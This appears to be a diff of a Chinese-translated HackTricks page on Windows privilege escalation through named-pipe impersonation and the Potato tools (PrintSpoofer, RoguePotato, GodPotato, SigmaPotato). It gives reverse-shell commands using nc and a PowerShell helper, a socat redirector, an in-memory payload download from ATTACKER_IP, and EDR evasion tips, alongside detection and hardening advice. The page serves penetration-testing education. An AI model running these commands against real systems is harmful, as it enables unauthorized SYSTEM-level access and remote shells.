- 如果客户端以 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION 连接,服务器不能完全 impersonate通过 GetTokenInformation(TokenImpersonationLevel) 检查 token 的 impersonation level。
- CreateProcessWithTokenW 要求调用者具有 SeImpersonatePrivilege。如果失败并 ERROR_PRIVILEGE_NOT_HELD (1314),在你已经 impersonated SYSTEM 后使用 CreateProcessAsUser。
- 如果你对管道进行了加固,请确保管道的安全描述符允许目标服务连接;默认情况下,位于 \\.\pipe 下的管道可根据服务器的 DACL 访问
## 检测与加固
- 监控 named pipe 的创建与连接。Sysmon Event IDs 17 (Pipe Created) 和 18 (Pipe Connected) 有助于建立合法 pipe 名称的基线,并捕捉在令牌操作事件之前出现的不寻常、看起来随机的 pipes
- 查找如下序列:进程创建 pipe某个 SYSTEM 服务连接,然后创建进程以 SYSTEM 身份生成子进程。
- 通过从非必要的服务账号移除 SeImpersonatePrivilege 并避免使用高权限的非必要服务登录,减少暴露面
- 防御性开发:在连接不受信任的 named pipes 时,指定 SECURITY_SQOS_PRESENT 并使用 SECURITY_IDENTIFICATION以避免服务器在非必要情况下完全 impersonate 客户端。
- 监控命名管道的创建和连接。Sysmon Event IDs 17 (Pipe Created) 和 18 (Pipe Connected) 对基线合法管道名称以及捕获在 token-manipulation 事件之前出现的异常、看起来随机的管道很有用
- 查找如下序列:进程创建管道,SYSTEM 服务连接,然后创建进程以 SYSTEM 身份生成子进程。
- 通过从非必要的服务账户移除 SeImpersonatePrivilege并避免不必要的高权限服务登录来减少暴露
- 防御性开发:连接不受信任的命名管道时,指定 SECURITY_SQOS_PRESENT 与 SECURITY_IDENTIFICATION以防止服务器在非必要情况下完全 impersonate 客户端。
## 参考
- Windows: ImpersonateNamedPipeClient 文档impersonation requirements and behavior https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation(演练与代码示例)。 https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato 在 Windows Server 2019 及 Windows 10 build 1809 及更高版本上无法使用。** 然而,[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **获得相同的权限并提升到 `NT AUTHORITY\SYSTEM`** 级别访问。 这篇 [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入介绍了 `PrintSpoofer` 工具,该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用 impersonation privileges。
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> [!TIP]
> 一个在 20242025 年间持续维护的现代替代方案是 SigmaPotatoGodPotato 的一个分支),它增加了内存/.NET reflection 的使用并扩展了对操作系统的支持。见下方的快速用法以及参考中的仓库。
> A modern alternative frequently maintained in 20242025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
Related pages for background and manual techniques:
@ -22,12 +22,12 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## 要求和常见注意事项
## Requirements and common gotchas
下面所有技术都依赖于从持有以下任一特权的上下文滥用一个支持 impersonation 的特权服务
下面所有技术都依赖于滥用一个具备 impersonation 能力的特权服务,且运行上下文须拥有下列任一权限
- SeImpersonatePrivilege最常见或 SeAssignPrimaryTokenPrivilege
- 如果令牌已经包含 SeImpersonatePrivilege则不需要 High integrity这在许多服务账户例如 IIS AppPool、MSSQL 等中很常见
- 如果 token 已经具有 SeImpersonatePrivilege则不需要高完整性High integrity这在许多服务账户中很常见例如 IIS AppPool、MSSQL 等
快速检查权限:
```cmd
@ -35,10 +35,10 @@ whoami /priv | findstr /i impersonate
```
操作说明:
- PrintSpoofer 需要 Print Spooler 服务处于运行状态,并且可通过本地 RPC 端点 (spoolss) 访问。在经过加固的环境中,如果 Spooler 在 PrintNightmare 之后被禁用,请优先使用 RoguePotato/GodPotato/DCOMPotato/EfsPotato。
- RoguePotato 需要可通过 TCP/135 访问的 OXID resolver。如果出口被阻断使用 redirector/port-forwarder见下方示例。旧版构建需要 -f 标志。
- EfsPotato/SharpEfsPotato 滥用 MS-EFSR如果某个 pipe 被阻塞,尝试使用替代 pipelsarpc、efsrpc、samr、lsass、netlogon
- 在 RpcBindingSetAuthInfo 期间出现错误 0x6d3 通常表示未知或不受支持的 RPC 身份验证服务;尝试使用不同的 pipe/transport 或确保目标服务正在运行。
- PrintSpoofer 需要 Print Spooler 服务运行,并通过本地 RPC 端点 (spoolss) 可达。在经历 PrintNightmare 后禁用 Spooler 的加固环境中,优先使用 RoguePotato/GodPotato/DCOMPotato/EfsPotato。
- RoguePotato 需要一个在 TCP/135 上可达的 OXID resolver。如果出站被阻断使用 redirector/port-forwarder见下面示例。旧版本需要 -f 标志。
- EfsPotato/SharpEfsPotato 利用 MS-EFSR如果一个 pipe 被阻塞,尝试替代的 pipelsarpc, efsrpc, samr, lsass, netlogon
- 在调用 RpcBindingSetAuthInfo 时出现 Error 0x6d3 通常表示未知/不支持的 RPC 身份验证服务;尝试不同的 pipe/transport 或确保目标服务正在运行。
## 快速演示
@ -58,8 +58,8 @@ NULL
```
注意:
- 你可以使用 -i 在当前控制台生成一个交互式进程,或使用 -c 运行一行命令。
- 需要 Spooler 服务。如果被禁用,将会失败。
- 你可以使用 -i 在当前控制台生成一个交互式进程,或者使用 -c 运行单行命令。
- 需要 Spooler service。如果被禁用,将会失败。
### RoguePotato
```bash
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
如果出站 135 被阻止,请在你的 redirector 上通过 socat pivot OXID resolver
如果出站 135 被阻止,请在你的 redirector 上通过 socat 转发 OXID resolver
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
提示:如果一个 pipe 失败或 EDR 阻止它,尝试其他受支持的 pipes:
提示:如果某个 pipe 失败或被 EDR 阻止,请尝试其他受支持的 pipes
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
说明:
- 适用于 Windows 8/8.111 和 Server 20122022当存在 SeImpersonatePrivilege 时
注意:
- 在存在 SeImpersonatePrivilege 时,可在 Windows 8/8.111 和 Server 20122022 上运行
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato 提供两个变体,针对默认使用 RPC_C_IMP_LEVEL_IMPERSONATE 的服务 DCOM 对象。编译或使用提供的二进制文件并运行你的命令:
DCOMPotato 提供两个变体,针对默认使用 RPC_C_IMP_LEVEL_IMPERSONATE 的服务 DCOM 对象。构建或使用提供的二进制文件并运行你的命令:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (updated GodPotato fork)
### SigmaPotato (更新的 GodPotato fork)
SigmaPotato 添加了现代化的便利功能,例如通过 .NET reflection 实现的内存中执行,以及一个 PowerShell reverse shell 辅助工具
SigmaPotato 添加了现代化的便利功能,例如通过 .NET 反射进行的内存执行,以及一个 PowerShell reverse shell 辅助程序
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -148,13 +148,13 @@ SigmaPotato 添加了现代化的便利功能,例如通过 .NET reflection 实
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## 检测与加固注意事项
## 检测与加固说明
- 监控创建命名管道并立即调用令牌复制相关 API随后使用 CreateProcessAsUser/CreateProcessWithTokenW 的进程。Sysmon 可以揭示有用的遥测信息Event ID 1进程创建、17/18命名管道创建/连接),以及以 SYSTEM 身份产生子进程的命令行。
- Spooler 加固:在不需要的服务器上禁用 Print Spooler 服务可防止通过 spoolss 的 PrintSpoofer 式本地强制coercions
- 服务账户加固:尽量减少将 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege 分配给自定义服务。考虑在虚拟账户下以最低必要权限运行服务,并在可能时使用 service SID 和写受限令牌进行隔离。
- 网络控制:阻出站 TCP/135 或限制 RPC endpoint mapper 流量可以破坏 RoguePotato除非存在内部重定向器。
- EDR/AV这些工具大多有广泛的签名。重新从源码编译、重命名符号/字符串或使用内存执行可以降低被检测的可能性,但无法绕过健壮的行为检测。
- 监控那些创建 named pipes 并紧接着调用 token-duplication APIs 再执行 CreateProcessAsUser/CreateProcessWithTokenW 的进程。Sysmon 可以提供有用的遥测Event ID 1进程创建、17/18named pipe 创建/连接),以及以 SYSTEM 身份生成子进程的命令行。
- Spooler 加固:在不需要的服务器上禁用 Print Spooler 服务可以防止通过 spoolss 进行的 PrintSpoofer-style 本地强制提升
- 服务帐户加固:尽量减少向自定义服务分配 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege。考虑在虚拟账户下以最低必要权限运行服务并在可能的情况下使用 service SID 和写限制 tokens 对其进行隔离。
- 网络控制:阻出站 TCP/135 或限制 RPC endpoint mapper 流量可以破坏 RoguePotato除非存在内部重定向器。
- EDR/AV这些工具大多有广泛的签名。重新从源码编译、重命名符号/字符串或使用 in-memory execution 可以降低检测率,但无法绕过健全的行为检测。
## 参考资料